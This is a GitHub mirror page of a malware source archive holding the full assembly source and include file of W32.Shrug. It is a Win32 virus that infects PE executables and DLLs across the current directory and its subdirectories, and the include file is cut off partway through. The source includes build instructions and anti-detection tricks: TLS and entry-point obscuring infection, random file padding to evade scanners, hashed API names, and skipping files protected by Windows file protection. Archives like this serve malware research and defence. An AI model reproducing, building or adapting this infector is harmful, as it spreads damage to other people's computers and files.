13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 03:58:34 +00:00
vxug-MalwareSourceCode/Win32/Win32.Shrug.asm
2020-10-10 22:09:34 -05:00

1466 lines
60 KiB
NASM

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
comment ;)
W32.Shrug by roy g biv
some of its features:
- parasitic direct action infector of PE exe/dll (but not looking at suffix)
- infects files in current directory and all subdirectories
- directory traversal is linked-list instead of recursive to reduce stack size
- reloc section inserter/last section appender
- mixture of EPO and standard transfer of control:
TLS infection (but runs only under NT/2000/XP)
altered entry point field in DLLs (all platforms)
code executes after ExitProcess() is called
- auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me)
- uses CRCs instead of API names
- uses SEH for common code exit
- section attributes are not always altered (virus is not self-modifying)
- no infect files with data outside of image (eg self-extractors)
- no infect files protected by SFC/SFP (including under Windows XP)
- infected files are padded by random amounts to confuse tail scanners
- uses SEH walker to find kernel address (no hard-coded addresses)
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
- plus some new code optimisations that were never seen before
---
optimisation tip: Windows appends ".dll" automatically, so this works:
push "cfs"
push esp
call LoadLibraryA
---
to build this thing:
tasm
----
tasm32 /ml /m3 shrug
tlink32 /B:400000 /x shrug,,,import32
Virus is not self-modifying, so no need to alter section attributes
---
We're in the middle of a phase transition:
a butterfly flapping its wings at
just the right moment could
cause a storm to happen.
-I'm trying to understand-
I'm at a moment in my life-
I don't know where to flap my wings.
(Danny Hillis)
(;
.386
.model flat
extern GetCurrentProcess:proc
extern WriteProcessMemory:proc
extern MessageBoxA:proc
extern ExitProcess:proc
.data
;must be reverse alphabetical order because they are stored on stack
;API names are not present in replications, only in dropper
krnnames db "UnmapViewOfFile" , 0
db "SetFileTime" , 0
db "SetFileAttributesW" , 0
db "SetFileAttributesA" , 0
db "SetCurrentDirectoryW", 0
db "SetCurrentDirectoryA", 0
db "MultiByteToWideChar" , 0
db "MapViewOfFile" , 0
db "LoadLibraryA" , 0
db "GlobalFree" , 0
db "GlobalAlloc" , 0
db "GetVersion" , 0
db "GetTickCount" , 0
db "GetFullPathNameW" , 0
db "GetFullPathNameA" , 0
db "FindNextFileW" , 0
db "FindNextFileA" , 0
db "FindFirstFileW" , 0
db "FindFirstFileA" , 0
db "FindClose" , 0
db "CreateFileW" , 0
db "CreateFileMappingA" , 0
db "CreateFileA" , 0
db "CloseHandle" , 0
sfcnames db "SfcIsFileProtected", 0
txttitle db "Shrug", 0
txtbody db "running...", 0
include shrug.inc
.code
assume fs:nothing
dropper label near
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, 1
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
call patch_host
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
patch_host label near
pop ecx
push ecx
call $ + 5
pop eax
add eax, offset tlsdata - offset $ + 1
sub ecx, eax
push ecx
mov eax, esp
xor edi, edi
push edi
push 4
push eax
push offset host_patch + 3
push esi
call WriteProcessMemory
push edi ;fake Reserved
push edi ;fake Reason
push edi ;fake DLLHandle
push edi ;fake return address
;-----------------------------------------------------------------------------
;everything before this point is dropper code
;-----------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;virus code begins here in dlls (always) and exes (existing TLS callback pointer)
;-----------------------------------------------------------------------------
shrug_tlscode proc near
mov eax, dword ptr [esp + initstk.initReason]
push eax ;fake Reserved
push eax ;real Reason
push eax ;fake DLLHandle
call host_patch ;real return address
tlsdata tlsstruc <0> ;label required for delta offset
;-----------------------------------------------------------------------------
;moved label after some data because "e800000000" looks like virus code ;)
;and it's not used for delta offset calculation, but for original entry point
;-----------------------------------------------------------------------------
host_patch label near
add dword ptr [esp], '!bgr'
;-----------------------------------------------------------------------------
;virus code begins here in exes (created TLS directory / callback pointer)
;-----------------------------------------------------------------------------
shrug_dllcode proc near ;stack = DllHandle, Reason, Reserved
test byte ptr [esp + initstk.initReason], DLL_PROCESS_ATTACH or DLL_THREAD_ATTACH
jne shrug_dllret ;kernel32 not in SEH chain on ATTACH messages
pushad
call shrug_common
mov esp, dword ptr [esp + sehstruc.sehprevseh]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad
shrug_dllret label near
ret 0ch
;-----------------------------------------------------------------------------
;main virus body. everything happens in here
;-----------------------------------------------------------------------------
shrug_common proc near
xor esi, esi
lods dword ptr fs:[esi]
push eax
mov dword ptr fs:[esi - 4], esp
inc eax
walk_seh label near
dec eax
xchg esi, eax
lods dword ptr [esi]
inc eax
jne walk_seh
enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception
;so some APIs fail if buffer is not dword aligned
;-5 to align at 2 dwords earlier
;because EBP saved automatically
;and other register saved next
push eax ;zero findprev in findlist
lods dword ptr [esi]
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
krncrcbegin label near ;place < 80h bytes from call for smaller code
dd (krncrc_count + 1) dup (0)
krncrcend label near
dd offset check_sfc - offset krncrcend + 4
db "Shrug - roy g biv" ;your guess is as good as mine
init_findmz label near
inc eax
xchg edi, eax
find_mzhdr label near
;-----------------------------------------------------------------------------
;do not use hard-coded kernel address values because it is not portable
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
;they will maybe change again for every new release
;-----------------------------------------------------------------------------
dec edi ;sub 64kb
xor di, di ;64kb align
call is_pehdr
jne find_mzhdr
mov ebx, edi
pop edi
;-----------------------------------------------------------------------------
;parse export table
;-----------------------------------------------------------------------------
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
lods dword ptr [esi] ;Export Address Table RVA
lea edx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Name Pointer Table RVA
lea ecx, dword ptr [ebx + eax]
lods dword ptr [esi] ;Ordinal Table RVA
lea ebp, dword ptr [ebx + eax]
mov esi, ecx
push_export label near
push ecx
get_export label near
lods dword ptr [esi]
push ebx
add ebx, eax ;Name Pointer VA
or eax, -1
crc_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
crc_inner label near
add eax, eax
jnb crc_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
crc_skip label near
loop crc_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb crc_outer
pop ebx
cmp dword ptr [edi], eax
jne get_export
;-----------------------------------------------------------------------------
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
;this allows to push addresses onto the stack, and the order is known
;-----------------------------------------------------------------------------
pop ecx
mov eax, esi
sub eax, ecx ;Name Pointer Table VA
shr eax, 1
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
add eax, ebx
push eax
scas dword ptr [edi]
cmp dword ptr [edi], 0
jne push_export
add edi, dword ptr [edi + 4]
jmp edi
;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------
check_sfc label near
call load_sfc
db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll)
load_sfc label near
call dword ptr [esp + krncrcstk.kLoadLibraryA]
test eax, eax
jne found_sfc
push 'cfs' ;Windows Me/2000
push esp
call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA]
pop ecx
test eax, eax
je sfcapi_push
found_sfc label near
call init_findmz
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
sfccrcbegin label near ;place < 80h bytes from call for smaller code
dd 0, 0
sfccrcend label near
dd offset swap_create - offset sfccrcend + 4
sfcapi_push label near
push eax
swap_create label near
;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------
mov ebx, esp
mov eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
xchg dword ptr [ebx + krncrcstk.kCreateFileW], eax
mov dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax
;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;so for Windows NT/2000/XP this code handles files that no ANSI function can open
;-----------------------------------------------------------------------------
call dword ptr [ebx + krncrcstk.kGetVersion]
shr eax, 1fh ;treat 9x and Win32s as ANSI
;safer than using AreFileApisANSI()
lea ebp, dword ptr [eax * 4 + ebx]
lea esi, dword ptr [ebx + size krncrcstk]
;-----------------------------------------------------------------------------
;non-recursive directory traverser
;-----------------------------------------------------------------------------
scan_dir proc near ;ebp -> platform APIs, esi -> findlist
push '*' ;ANSI-compatible Unicode findmask
mov eax, esp
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
push eax
call dword ptr [ebp + krncrcstk.kFindFirstFileW]
pop ecx
mov dword ptr [esi + findlist.findhand], eax
inc eax
je find_prev
;you must always step forward from where you stand
test_dirfile label near
mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes]
lea edi, dword ptr [esi + findlist.finddata.cFileName]
test al, FILE_ATTRIBUTE_DIRECTORY
je test_file
cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
je find_next
;-----------------------------------------------------------------------------
;enter subdirectory, and allocate another list node
;-----------------------------------------------------------------------------
push edi
call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW]
xchg ecx, eax
jecxz find_next
push size findlist
push GMEM_FIXED
call dword ptr [esp + krncrcstk.kGlobalAlloc + 8]
xchg ecx, eax
jecxz step_updir
xchg esi, ecx
mov dword ptr [esi + findlist.findprev], ecx
jmp scan_dir
find_next label near
lea ebx, dword ptr [esi + findlist.finddata]
push ebx
mov edi, dword ptr [esi + findlist.findhand]
push edi
call dword ptr [ebp + krncrcstk.kFindNextFileW]
test eax, eax
jne test_dirfile
;-----------------------------------------------------------------------------
;close find, and free list node if not list head
;-----------------------------------------------------------------------------
mov ebx, esp
push edi
call dword ptr [ebx + krncrcstk.kFindClose]
find_prev label near
mov ecx, dword ptr [esi + findlist.findprev]
jecxz shrug_exit
push esi
mov esi, ecx
call dword ptr [ebx + krncrcstk.kGlobalFree]
step_updir label near
;-----------------------------------------------------------------------------
;the ANSI string ".." can be used, even on Unicode platforms
;-----------------------------------------------------------------------------
push '..'
org $ - 1 ;select top 8 bits of push
shrug_exit label near
int 3 ;game over
push esp
call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA]
pop eax
jmp find_next
test_file label near
;-----------------------------------------------------------------------------
;get full path and convert to Unicode if required (SFC requires Unicode path)
;-----------------------------------------------------------------------------
push eax ;save original file attributes for close
mov eax, ebp
enter MAX_PATH * 2, 0
mov ecx, esp
push eax
push esp
push ecx
push MAX_PATH
push edi
call dword ptr [eax + krncrcstk.kGetFullPathNameW]
xchg edi, eax
pop eax
xor ebx, ebx
call dword ptr [ebp + 8 + krncrcstk.kGetVersion]
test eax, eax
jns call_sfcapi
mov ecx, esp
xchg ebp, eax
enter MAX_PATH * 2, 0
xchg ebp, eax
mov eax, esp
push MAX_PATH
push eax
inc edi
push edi
push ecx
push ebx ;use default translation
push ebx ;CP_ANSI
call dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar]
call_sfcapi label near
;-----------------------------------------------------------------------------
;don't touch protected files
;-----------------------------------------------------------------------------
mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected]
xor eax, eax ;fake success in case of no SFC
jecxz leave_sfc
push esp
push ebx
call ecx
leave_sfc label near
leave
test eax, eax
jne restore_attr
call set_fileattr
push ebx
push ebx
push OPEN_EXISTING
push ebx
push ebx
push GENERIC_READ or GENERIC_WRITE
push edi
call dword ptr [ebp + krncrcstk.kCreateFileW]
xchg ebx, eax
call test_infect
db 81h ;mask CALL
call infect_file ;Super Nashwan power ;)
close_file label near ;label required for delta offset
lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime]
push eax
sub eax, 8
push eax
sub eax, 8
push eax
push ebx
call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h]
push ebx
call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4]
restore_attr label near
pop ebx ;restore original file attributes
call set_fileattr
jmp find_next
scan_dir endp
;-----------------------------------------------------------------------------
;look for MZ and PE file signatures
;-----------------------------------------------------------------------------
is_pehdr proc near ;edi -> map view
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
jne pehdr_ret
mov esi, dword ptr [edi + mzhdr.mzlfanew]
add esi, edi
lods dword ptr [esi] ;SEH protects against bad lfanew value
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
pehdr_ret label near
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
is_pehdr endp
;-----------------------------------------------------------------------------
;reset/set read-only file attribute
;-----------------------------------------------------------------------------
set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs
push ebx
lea edi, dword ptr [esi + findlist.finddata.cFileName]
push edi
call dword ptr [ebp + krncrcstk.kSetFileAttributesW]
ret ;edi -> filename
db "01/01/01" ;01 Janvier, 1901 - the old joke
set_fileattr endp
;-----------------------------------------------------------------------------
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
;-----------------------------------------------------------------------------
test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs
call map_view
mov ebp, esi
call is_pehdr
jne inftest_ret
lods dword ptr [esi]
cmp ax, IMAGE_FILE_MACHINE_I386
jne inftest_ret ;only Intel 386+
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
;-----------------------------------------------------------------------------
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
;-----------------------------------------------------------------------------
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
jne inftest_ret
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
;-----------------------------------------------------------------------------
;if file is a .dll, then we require an entry point function
;-----------------------------------------------------------------------------
lods dword ptr [esi]
xchg ecx, eax
test ah, IMAGE_FILE_DLL shr 8
je test_system
jecxz inftest_ret
;-----------------------------------------------------------------------------
;32-bit executable file...
;-----------------------------------------------------------------------------
test_system label near
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
;-----------------------------------------------------------------------------
;the COFF magic value is not checked because Windows ignores it anyway
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
;-----------------------------------------------------------------------------
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
jnbe inftest_ret
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
jb inftest_ret
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
jb inftest_ret
;-----------------------------------------------------------------------------
;avoid files which seem to contain attribute certificates
;because one of those certificates might be a digital signature
;-----------------------------------------------------------------------------
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
jne inftest_ret
;-----------------------------------------------------------------------------
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
;the Optional Header can be larger than the offset of the last directory
;remember: even if you have not seen it does not mean that it does not happen :)
;-----------------------------------------------------------------------------
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
add eax, edx
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
add eax, dword ptr [esi]
cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax
jne inftest_ret ;file contains appended data
inc dword ptr [esp + mapsehstk.mapsehinfret]
;skip call mask
inftest_ret label near
int 3
;-----------------------------------------------------------------------------
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged
;-----------------------------------------------------------------------------
open_append proc near
call dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount]
and eax, RANDPADMAX - 1
add ax, small (offset shrug_codeend - offset shrug_tlscode + RANDPADMIN)
;-----------------------------------------------------------------------------
;create file map, and map view if successful
;-----------------------------------------------------------------------------
map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs
add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow]
xor ecx, ecx
push eax
mov edx, esp
push eax ;MapViewOfFile
push ecx ;MapViewOfFile
push ecx ;MapViewOfFile
push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS
push ecx
push eax
push ecx
push PAGE_READWRITE
push ecx
push ebx
call dword ptr [edx + size mapstack + krncrcstk.kCreateFileMappingA]
;ANSI map is allowed because of no name
push eax
xchg edi, eax
call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h]
pop ecx
xchg edi, eax ;should succeed even if file cannot be opened
pushad
call unmap_seh
mov esp, dword ptr [esp + sehstruc.sehprevseh]
xor eax, eax
pop dword ptr fs:[eax]
pop eax
popad ;SEH destroys all registers
push eax
push edi
call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4]
call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle]
pop eax
ret
unmap_seh proc near
cdq
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
jmp dword ptr [esp + mapsehstk.mapsehsehret]
unmap_seh endp
map_view endp ;eax = map handle, ecx = new file size, edi = map view
open_append endp
;-----------------------------------------------------------------------------
;infect file using a selection of styles for variety
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
; bytes) to confuse scanners that look at end of file (also
; infection marker)
; if reloc table is not in last section (taken from relocation
; field in PE header, not section name), then append to last
; section. otherwise, move relocs down and insert code into
; space (to confuse people looking at end of file. they will
; see only relocation data and garbage or many zeroes)
;DLL infection: entry point is altered to point to virus code. very simple
;EXE infection: Entry Point Obscured via TLS callback function
; if no TLS directory exists, then one will be created, with a
; single callback function that points to this code
; if a TLS directory exists, but no callback functions exist,
; then a function pointer will be created that points to this
; code
; else if a TLS directory and callback functions exist, then the
; first function pointer will be altered to point to this code
;-----------------------------------------------------------------------------
infect_file label near ;esi -> findlist, edi = map view
call open_append
delta_label label near
push ecx
push edi
mov ebx, dword ptr [edi + mzhdr.mzlfanew]
lea ebx, dword ptr [ebx + edi + pehdr.pechksum]
movzx eax, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum]
imul eax, eax, size pesect
movzx ecx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum]
add eax, ecx
lea esi, dword ptr [ebx + eax + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize]
lods dword ptr [esi]
mov cx, offset shrug_codeend - offset shrug_tlscode
mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum]
push eax
add eax, ecx
dec edx
add eax, edx
not edx
and eax, edx ;file align last section
mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax
;-----------------------------------------------------------------------------
;raw size is file aligned. virtual size is not required to be section aligned
;so if old virtual size is larger than new raw size, then size of image does
;not need to be updated, else virtual size must be large enough to cover the
;new code, and size of image is section aligned
;-----------------------------------------------------------------------------
mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
jnb test_reloff
mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax
add eax, ebp
mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum]
dec edx
add eax, edx
not edx
and eax, edx
mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax
;-----------------------------------------------------------------------------
;if relocation table is not in last section, then append to last section
;otherwise, move relocations down and insert code into space
;-----------------------------------------------------------------------------
test_reloff label near
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED
jne copy_code
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp
jb copy_code
mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr]
add eax, ebp
cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax
jnb copy_code
add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx
pop eax
push esi
add edi, dword ptr [esi]
lea esi, dword ptr [edi + eax - 1]
lea edi, dword ptr [esi + ecx]
xchg ecx, eax
std
rep movs byte ptr [edi], byte ptr [esi]
cld
pop esi
pop edi
push edi
push ecx
xchg ecx, eax
copy_code label near
pop edx
add ebp, edx
xchg ebp, eax
add edx, dword ptr [esi]
add edi, edx
push esi
push edi
mov esi, offset shrug_tlscode - offset delta_label
add esi, dword ptr [esp + infectstk.infseh.mapsehinfret]
;delta offset
rep movs byte ptr [edi], byte ptr [esi]
pop edi
pop esi
;-----------------------------------------------------------------------------
;always alter entry point of dlls
;-----------------------------------------------------------------------------
test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum + 1], IMAGE_FILE_DLL shr 8
je test_tlsdir
lea edx, dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum]
alter_func label near
xchg dword ptr [edx], eax
sub eax, offset tlsdata - offset shrug_tlscode
sub eax, dword ptr [edx]
mov dword ptr [edi + offset host_patch - offset shrug_tlscode + 3], eax
jmp checksum_file
;-----------------------------------------------------------------------------
;if tls directory exists...
;-----------------------------------------------------------------------------
test_tlsdir label near
mov ecx, dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum]
jecxz add_tlsdir ;size field is never checked
call rva2raw
pop edx
push edx
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
push eax
lea eax, dword ptr [edx + ecx + tlsstruc.tlsfuncptr]
mov ecx, dword ptr [eax]
jecxz store_func
sub ecx, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
call rva2raw
add edx, ecx ;do not combine
mov ecx, dword ptr [edx] ;current edx used by alter_func
;it is impossible if it passes unattempted
store_func label near
test ecx, ecx
pop ecx
xchg ecx, eax
jne alter_func
add eax, offset tlsdata.tlsfunc - offset shrug_tlscode
mov dword ptr [ecx], eax
add edi, offset tlsdata.tlsfiller - offset shrug_tlscode
jmp set_funcptr
;-----------------------------------------------------------------------------
;the only time that the section attributes are altered is when a TLS directory
;is created. at that time, a writable dword must be available for the index.
;the alternative is to search for a writable section with virtual size > raw
;size, set index pointer to that address and reinitialise it to zero in code
;-----------------------------------------------------------------------------
add_tlsdir label near
or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], IMAGE_SCN_MEM_WRITE shr 18h
add eax, offset tlsdata - offset shrug_tlscode
mov dword ptr [ebx + pehdr.petls.dirrva - pehdr.pechksum], eax
add eax, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum]
add eax, offset tlsdata.tlsflags - offset tlsdata
add edi, offset tlsdata.tlsindex - offset shrug_tlscode
stos dword ptr [edi]
add eax, offset tlsdata.tlsfunc - offset tlsdata.tlsflags
stos dword ptr [edi]
set_funcptr label near
scas dword ptr [edi]
scas dword ptr [edi]
add eax, offset shrug_dllcode - offset tlsdata.tlsfunc
stos dword ptr [edi]
checksum_file label near
pop edi
;-----------------------------------------------------------------------------
;CheckSumMappedFile() - simply sum of all words in file, then adc filesize
;-----------------------------------------------------------------------------
xor ecx, ecx
xchg dword ptr [ebx], ecx
jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
;-----------------------------------------------------------------------------
;convert relative virtual address to raw file offset
;-----------------------------------------------------------------------------
rvaloop label near
sub esi, size pesect
cmp al, 'R' ;mask PUSH ESI
org $ - 1
rva2raw proc near ;ecx = RVA, esi -> last section header
push esi
cmp dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr], ecx
jnbe rvaloop
sub ecx, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr]
add ecx, dword ptr [esi]
pop esi
ret
rva2raw endp
;When last comes to last,
; I have little power:
; I am merely an urn.
;I hold the bone-sap of myself,
; And watch the marrow burn.
;
;When last comes to last,
; I have little strength:
; I am only a tool.
;I work its work; and in its hands
; I am the fool.
;
;When last comes to last,
; I have little life.
; I am simply a deed:
;an action done while courage holds:
; A seed.
;(Stephen Donaldson)
shrug_codeend label near
shrug_common endp
shrug_dllcode endp
shrug_tlscode endp
end dropper
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SHRUG.INC]ÄÄÄ
MAX_PATH equ 260
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH equ 2
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
FILE_ATTRIBUTE_NORMAL equ 00000080h
FILE_FLAG_RANDOM_ACCESS equ 10000000h
GMEM_FIXED equ 0000h
OPEN_EXISTING equ 3
GENERIC_WRITE equ 40000000h
GENERIC_READ equ 80000000h
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
IMAGE_FILE_32BIT_MACHINE equ 0100h
IMAGE_FILE_SYSTEM equ 1000h
IMAGE_FILE_DLL equ 2000h
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
IMAGE_SCN_MEM_WRITE equ 80000000h
RANDPADMIN equ 4096
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
SECTION_MAP_WRITE equ 0002h
FILE_MAP_WRITE equ SECTION_MAP_WRITE
PAGE_READWRITE equ 04
align 1 ;byte-packed structures
krncrcstk struct
kSfcIsFileProtected dd ? ;appended from other location
kUnmapViewOfFile dd ?
kSetFileTime dd ?
kSetFileAttributesW dd ?
kSetFileAttributesA dd ?
kSetCurrentDirectoryW dd ?
kSetCurrentDirectoryA dd ?
kMultiByteToWideChar dd ?
kMapViewOfFile dd ?
kLoadLibraryA dd ?
kGlobalFree dd ?
kGlobalAlloc dd ?
kGetVersion dd ?
kGetTickCount dd ?
kGetFullPathNameW dd ?
kGetFullPathNameA dd ?
kFindNextFileW dd ?
kFindNextFileA dd ?
kFindFirstFileW dd ?
kFindFirstFileA dd ?
kFindClose dd ?
kCreateFileMappingA dd ?
kCreateFileW dd ?
kCreateFileA dd ?
kCloseHandle dd ?
krncrcstk ends
krncrc_count equ (size krncrcstk - 4) shr 2
tlsstruc struct
tlsrawbeg dd ?
tlsrawend dd ?
tlsindex dd ?
tlsfuncptr dd ?
tlsfiller dd ?
tlsflags dd ?
tlsfunc dd 2 dup (?)
tlsstruc ends
initstk struct
initret dd ?
initDLLHandle dd ?
initReason dd ?
initReserved dd ?
initstk ends
sehstruc struct
sehkrnlret dd ?
sehexcptrec dd ?
sehprevseh dd ?
sehstruc ends
FILETIME struct
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes dd ?
ftCreationTime FILETIME <?>
ftLastAccessTime FILETIME <?>
ftLastWriteTime FILETIME <?>
dwFileSizeHigh dd ?
dwFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup (?)
cAlternateFileName dw 14 dup (?)
WIN32_FIND_DATA ends
findlist struct
findprev dd ?
findhand dd ?
finddata WIN32_FIND_DATA <?>
findlist ends
coffhdr struct
pemachine dw ? ;04
pesectcount dw ? ;06
petimedate dd ? ;08
pesymbrva dd ? ;0C
pesymbcount dd ? ;10
peopthdrsize dw ? ;14
peflags dw ? ;16
coffhdr ends
pedir struct
dirrva dd ?
dirsize dd ?
pedir ends
pehdr struct
pesig dd ? ;00
pecoff coffhdr <?>
pemagic dw ? ;18
